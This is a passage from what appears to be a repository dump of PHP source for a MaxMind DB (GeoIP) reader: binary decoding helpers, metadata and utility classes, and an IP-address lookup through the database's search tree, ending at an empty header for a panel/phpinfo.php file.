// XXX - Assumes IEEE 754 floats on platform 173 | list(, $float) = unpack('f', $this->maybeSwitchByteOrder($bits)); 174 | 175 | return $float; 176 | } 177 | 178 | private function decodeInt32($bytes) 179 | { 180 | $bytes = $this->zeroPadLeft($bytes, 4); 181 | list(, $int) = unpack('l', $this->maybeSwitchByteOrder($bytes)); 182 | 183 | return $int; 184 | } 185 | 186 | private function decodeMap($size, $offset) 187 | { 188 | $map = []; 189 | 190 | for ($i = 0; $i < $size; $i++) { 191 | list($key, $offset) = $this->decode($offset); 192 | list($value, $offset) = $this->decode($offset); 193 | $map[$key] = $value; 194 | } 195 | 196 | return [$map, $offset]; 197 | } 198 | 199 | private $pointerValueOffset = [ 200 | 1 => 0, 201 | 2 => 2048, 202 | 3 => 526336, 203 | 4 => 0, 204 | ]; 205 | 206 | private function decodePointer($ctrlByte, $offset) 207 | { 208 | $pointerSize = (($ctrlByte >> 3) & 0x3) + 1; 209 | 210 | $buffer = Util::read($this->fileStream, $offset, $pointerSize); 211 | $offset = $offset + $pointerSize; 212 | 213 | $packed = $pointerSize === 4 214 | ? $buffer 215 | : (pack('C', $ctrlByte & 0x7)) . $buffer; 216 | 217 | $unpacked = $this->decodeUint($packed); 218 | $pointer = $unpacked + $this->pointerBase 219 | + $this->pointerValueOffset[$pointerSize]; 220 | 221 | return [$pointer, $offset]; 222 | } 223 | 224 | private function decodeUint($bytes) 225 | { 226 | list(, $int) = unpack('N', $this->zeroPadLeft($bytes, 4)); 227 | 228 | return $int; 229 | } 230 | 231 | private function decodeBigUint($bytes, $byteLength) 232 | { 233 | $maxUintBytes = log(PHP_INT_MAX, 2) / 8; 234 | 235 | if ($byteLength === 0) { 236 | return 0; 237 | } 238 | 239 | $numberOfLongs = ceil($byteLength / 4); 240 | $paddedLength = $numberOfLongs * 4; 241 | $paddedBytes = $this->zeroPadLeft($bytes, $paddedLength); 242 | $unpacked = array_merge(unpack("N$numberOfLongs", $paddedBytes)); 243 | 244 | $integer = 0; 245 | 246 | // 2^32 247 | $twoTo32 = '4294967296'; 248 | 249 | foreach ($unpacked as $part) { 250 | // We only use gmp or bcmath if the final value is too big 251 | if ($byteLength <= $maxUintBytes) { 252 | $integer = ($integer << 32) + $part; 253 | } elseif (extension_loaded('gmp')) { 254 | $integer = gmp_strval(gmp_add(gmp_mul($integer, $twoTo32), $part)); 255 | } elseif (extension_loaded('bcmath')) { 256 | $integer = bcadd(bcmul($integer, $twoTo32), $part); 257 | } else { 258 | throw new \RuntimeException( 259 | 'The gmp or bcmath extension must be installed to read this database.' 260 | ); 261 | } 262 | } 263 | 264 | return $integer; 265 | } 266 | 267 | private function decodeString($bytes) 268 | { 269 | // XXX - NOOP. As far as I know, the end user has to explicitly set the 270 | // encoding in PHP. Strings are just bytes. 271 | return $bytes; 272 | } 273 | 274 | private function sizeFromCtrlByte($ctrlByte, $offset) 275 | { 276 | $size = $ctrlByte & 0x1f; 277 | $bytesToRead = $size < 29 ? 0 : $size - 28; 278 | $bytes = Util::read($this->fileStream, $offset, $bytesToRead); 279 | $decoded = $this->decodeUint($bytes); 280 | 281 | if ($size === 29) { 282 | $size = 29 + $decoded; 283 | } elseif ($size === 30) { 284 | $size = 285 + $decoded; 285 | } elseif ($size > 30) { 286 | $size = ($decoded & (0x0FFFFFFF >> (32 - (8 * $bytesToRead)))) 287 | + 65821; 288 | } 289 | 290 | return [$size, $offset + $bytesToRead]; 291 | } 292 | 293 | private function zeroPadLeft($content, $desiredLength) 294 | { 295 | return str_pad($content, $desiredLength, "\x00", STR_PAD_LEFT); 296 | } 297 | 298 | private function maybeSwitchByteOrder($bytes) 299 | { 300 | return $this->switchByteOrder ? strrev($bytes) : $bytes; 301 | } 302 | 303 | private function isPlatformLittleEndian() 304 | { 305 | $testint = 0x00FF; 306 | $packed = pack('S', $testint); 307 | 308 | return $testint === current(unpack('v', $packed)); 309 | } 310 | } 311 | 312 | /////////////////////////////////////////////// 313 | class InvalidDatabaseException extends \Exception 314 | { 315 | } 316 | ///////////////////////////////////////////////// 317 | class Metadata 318 | { 319 | private $binaryFormatMajorVersion; 320 | private $binaryFormatMinorVersion; 321 | private $buildEpoch; 322 | private $databaseType; 323 | private $description; 324 | private $ipVersion; 325 | private $languages; 326 | private $nodeByteSize; 327 | private $nodeCount; 328 | private $recordSize; 329 | private $searchTreeSize; 330 | 331 | public function __construct($metadata) 332 | { 333 | $this->binaryFormatMajorVersion = 334 | $metadata['binary_format_major_version']; 335 | $this->binaryFormatMinorVersion = 336 | $metadata['binary_format_minor_version']; 337 | $this->buildEpoch = $metadata['build_epoch']; 338 | $this->databaseType = $metadata['database_type']; 339 | $this->languages = $metadata['languages']; 340 | $this->description = $metadata['description']; 341 | $this->ipVersion = $metadata['ip_version']; 342 | $this->nodeCount = $metadata['node_count']; 343 | $this->recordSize = $metadata['record_size']; 344 | $this->nodeByteSize = $this->recordSize / 4; 345 | $this->searchTreeSize = $this->nodeCount * $this->nodeByteSize; 346 | } 347 | 348 | public function __get($var) 349 | { 350 | return $this->$var; 351 | } 352 | } 353 | /////////////////////////////////////////////////////// 354 | 355 | class Util 356 | { 357 | public static function read($stream, $offset, $numberOfBytes) 358 | { 359 | if ($numberOfBytes === 0) { 360 | return ''; 361 | } 362 | if (fseek($stream, $offset) === 0) { 363 | $value = fread($stream, $numberOfBytes); 364 | 365 | // We check that the number of bytes read is equal to the number 366 | // asked for. We use ftell as getting the length of $value is 367 | // much slower. 368 | if (ftell($stream) - $offset === $numberOfBytes) { 369 | return $value; 370 | } 371 | } 372 | throw new InvalidDatabaseException( 373 | 'The MaxMind DB file contains bad data' 374 | ); 375 | } 376 | } 377 | 378 | ////////////////////////////////////////////////// 379 | class Reader 380 | { 381 | private static $DATA_SECTION_SEPARATOR_SIZE = 16; 382 | private static $METADATA_START_MARKER = "\xAB\xCD\xEFMaxMind.com"; 383 | private static $METADATA_START_MARKER_LENGTH = 14; 384 | private static $METADATA_MAX_SIZE = 131072; // 128 * 1024 = 128KB 385 | 386 | private $decoder; 387 | private $fileHandle; 388 | private $fileSize; 389 | private $ipV4Start; 390 | private $metadata; 391 | 392 | /** 393 | * Constructs a Reader for the MaxMind DB format. The file passed to it must 394 | * be a valid MaxMind DB file such as a GeoIp2 database file. 395 | * 396 | * @param string $database 397 | * the MaxMind DB file to use 398 | * 399 | * @throws \InvalidArgumentException for invalid database path or unknown arguments 400 | * @throws \MaxMind\Db\Reader\InvalidDatabaseException 401 | * if the database is invalid or there is an error reading 402 | * from it 403 | */ 404 | public function __construct($database) 405 | { 406 | if (func_num_args() !== 1) { 407 | throw new \InvalidArgumentException( 408 | 'The constructor takes exactly one argument.' 409 | ); 410 | } 411 | 412 | if (!is_readable($database)) { 413 | throw new \InvalidArgumentException( 414 | "The file \"$database\" does not exist or is not readable." 415 | ); 416 | } 417 | $this->fileHandle = @fopen($database, 'rb'); 418 | if ($this->fileHandle === false) { 419 | throw new \InvalidArgumentException( 420 | "Error opening \"$database\"." 421 | ); 422 | } 423 | $this->fileSize = @filesize($database); 424 | if ($this->fileSize === false) { 425 | throw new \UnexpectedValueException( 426 | "Error determining the size of \"$database\"." 427 | ); 428 | } 429 | 430 | $start = $this->findMetadataStart($database); 431 | $metadataDecoder = new Decoder($this->fileHandle, $start); 432 | list($metadataArray) = $metadataDecoder->decode($start); 433 | $this->metadata = new Metadata($metadataArray); 434 | $this->decoder = new Decoder( 435 | $this->fileHandle, 436 | $this->metadata->searchTreeSize + self::$DATA_SECTION_SEPARATOR_SIZE 437 | ); 438 | } 439 | 440 | /** 441 | * Looks up the address in the MaxMind DB. 442 | * 443 | * @param string $ipAddress 444 | * the IP address to look up 445 | * 446 | * @throws \BadMethodCallException if this method is called on a closed database 447 | * @throws \InvalidArgumentException if something other than a single IP address is passed to the method 448 | * @throws InvalidDatabaseException 449 | * if the database is invalid or there is an error reading 450 | * from it 451 | * 452 | * @return array the record for the IP address 453 | */ 454 | public function get($ipAddress) 455 | { 456 | if (func_num_args() !== 1) { 457 | throw new \InvalidArgumentException( 458 | 'Method takes exactly one argument.' 459 | ); 460 | } 461 | 462 | if (!is_resource($this->fileHandle)) { 463 | throw new \BadMethodCallException( 464 | 'Attempt to read from a closed MaxMind DB.' 465 | ); 466 | } 467 | 468 | if (!filter_var($ipAddress, FILTER_VALIDATE_IP)) { 469 | throw new \InvalidArgumentException( 470 | "The value \"$ipAddress\" is not a valid IP address." 471 | ); 472 | } 473 | 474 | if ($this->metadata->ipVersion === 4 && strrpos($ipAddress, ':')) { 475 | throw new \InvalidArgumentException( 476 | "Error looking up $ipAddress. You attempted to look up an" 477 | . ' IPv6 address in an IPv4-only database.' 478 | ); 479 | } 480 | $pointer = $this->findAddressInTree($ipAddress); 481 | if ($pointer === 0) { 482 | return null; 483 | } 484 | 485 | return $this->resolveDataPointer($pointer); 486 | } 487 | 488 | private function findAddressInTree($ipAddress) 489 | { 490 | // XXX - could simplify. Done as a byte array to ease porting 491 | $rawAddress = array_merge(unpack('C*', inet_pton($ipAddress))); 492 | 493 | $bitCount = count($rawAddress) * 8; 494 | 495 | // The first node of the tree is always node 0, at the beginning of the 496 | // value 497 | $node = $this->startNode($bitCount); 498 | 499 | for ($i = 0; $i < $bitCount; $i++) { 500 | if ($node >= $this->metadata->nodeCount) { 501 | break; 502 | } 503 | $tempBit = 0xFF & $rawAddress[$i >> 3]; 504 | $bit = 1 & ($tempBit >> 7 - ($i % 8)); 505 | 506 | $node = $this->readNode($node, $bit); 507 | } 508 | if ($node === $this->metadata->nodeCount) { 509 | // Record is empty 510 | return 0; 511 | } elseif ($node > $this->metadata->nodeCount) { 512 | // Record is a data pointer 513 | return $node; 514 | } 515 | throw new InvalidDatabaseException('Something bad happened'); 516 | } 517 | 518 | private function startNode($length) 519 | { 520 | // Check if we are looking up an IPv4 address in an IPv6 tree. If this 521 | // is the case, we can skip over the first 96 nodes. 522 | if ($this->metadata->ipVersion === 6 && $length === 32) { 523 | return $this->ipV4StartNode(); 524 | } 525 | // The first node of the tree is always node 0, at the beginning of the 526 | // value 527 | return 0; 528 | } 529 | 530 | private function ipV4StartNode() 531 | { 532 | // This is a defensive check. There is no reason to call this when you 533 | // have an IPv4 tree. 534 | if ($this->metadata->ipVersion === 4) { 535 | return 0; 536 | } 537 | 538 | if ($this->ipV4Start) { 539 | return $this->ipV4Start; 540 | } 541 | $node = 0; 542 | 543 | for ($i = 0; $i < 96 && $node < $this->metadata->nodeCount; $i++) { 544 | $node = $this->readNode($node, 0); 545 | } 546 | $this->ipV4Start = $node; 547 | 548 | return $node; 549 | } 550 | 551 | private function readNode($nodeNumber, $index) 552 | { 553 | $baseOffset = $nodeNumber * $this->metadata->nodeByteSize; 554 | 555 | // XXX - probably could condense this. 556 | switch ($this->metadata->recordSize) { 557 | case 24: 558 | $bytes = Util::read($this->fileHandle, $baseOffset + $index * 3, 3); 559 | list(, $node) = unpack('N', "\x00" . $bytes); 560 | 561 | return $node; 562 | case 28: 563 | $middleByte = Util::read($this->fileHandle, $baseOffset + 3, 1); 564 | list(, $middle) = unpack('C', $middleByte); 565 | if ($index === 0) { 566 | $middle = (0xF0 & $middle) >> 4; 567 | } else { 568 | $middle = 0x0F & $middle; 569 | } 570 | $bytes = Util::read($this->fileHandle, $baseOffset + $index * 4, 3); 571 | list(, $node) = unpack('N', chr($middle) . $bytes); 572 | 573 | return $node; 574 | case 32: 575 | $bytes = Util::read($this->fileHandle, $baseOffset + $index * 4, 4); 576 | list(, $node) = unpack('N', $bytes); 577 | 578 | return $node; 579 | default: 580 | throw new InvalidDatabaseException( 581 | 'Unknown record size: ' 582 | . $this->metadata->recordSize 583 | ); 584 | } 585 | } 586 | 587 | private function resolveDataPointer($pointer) 588 | { 589 | $resolved = $pointer - $this->metadata->nodeCount 590 | + $this->metadata->searchTreeSize; 591 | if ($resolved > $this->fileSize) { 592 | throw new InvalidDatabaseException( 593 | "The MaxMind DB file's search tree is corrupt" 594 | ); 595 | } 596 | 597 | list($data) = $this->decoder->decode($resolved); 598 | 599 | return $data; 600 | } 601 | 602 | /* 603 | * This is an extremely naive but reasonably readable implementation. There 604 | * are much faster algorithms (e.g., Boyer-Moore) for this if speed is ever 605 | * an issue, but I suspect it won't be. 606 | */ 607 | private function findMetadataStart($filename) 608 | { 609 | $handle = $this->fileHandle; 610 | $fstat = fstat($handle); 611 | $fileSize = $fstat['size']; 612 | $marker = self::$METADATA_START_MARKER; 613 | $markerLength = self::$METADATA_START_MARKER_LENGTH; 614 | $metadataMaxLengthExcludingMarker 615 | = min(self::$METADATA_MAX_SIZE, $fileSize) - $markerLength; 616 | 617 | for ($i = 0; $i <= $metadataMaxLengthExcludingMarker; $i++) { 618 | for ($j = 0; $j < $markerLength; $j++) { 619 | fseek($handle, $fileSize - $i - $j - 1); 620 | $matchBit = fgetc($handle); 621 | if ($matchBit !== $marker[$markerLength - $j - 1]) { 622 | continue 2; 623 | } 624 | } 625 | 626 | return $fileSize - $i; 627 | } 628 | throw new InvalidDatabaseException( 629 | "Error opening database file ($filename). " . 630 | 'Is this a valid MaxMind DB file?' 631 | ); 632 | } 633 | 634 | /** 635 | * @throws \InvalidArgumentException if arguments are passed to the method 636 | * @throws \BadMethodCallException if the database has been closed 637 | * 638 | * @return Metadata object for the database 639 | */ 640 | public function metadata() 641 | { 642 | if (func_num_args()) { 643 | throw new \InvalidArgumentException( 644 | 'Method takes no arguments.' 645 | ); 646 | } 647 | 648 | // Not technically required, but this makes it consistent with 649 | // C extension and it allows us to change our implementation later. 650 | if (!is_resource($this->fileHandle)) { 651 | throw new \BadMethodCallException( 652 | 'Attempt to read from a closed MaxMind DB.' 653 | ); 654 | } 655 | 656 | return $this->metadata; 657 | } 658 | 659 | /** 660 | * Closes the MaxMind DB and returns resources to the system. 661 | * 662 | * @throws \Exception 663 | * if an I/O error occurs 664 | */ 665 | public function close() 666 | { 667 | if (!is_resource($this->fileHandle)) { 668 | throw new \BadMethodCallException( 669 | 'Attempt to close a closed MaxMind DB.' 670 | ); 671 | } 672 | fclose($this->fileHandle); 673 | } 674 | } 675 | -------------------------------------------------------------------------------- /panel/phpinfo.php: -------------------------------------------------------------------------------- 1 | --------------------------------------------------------------------------------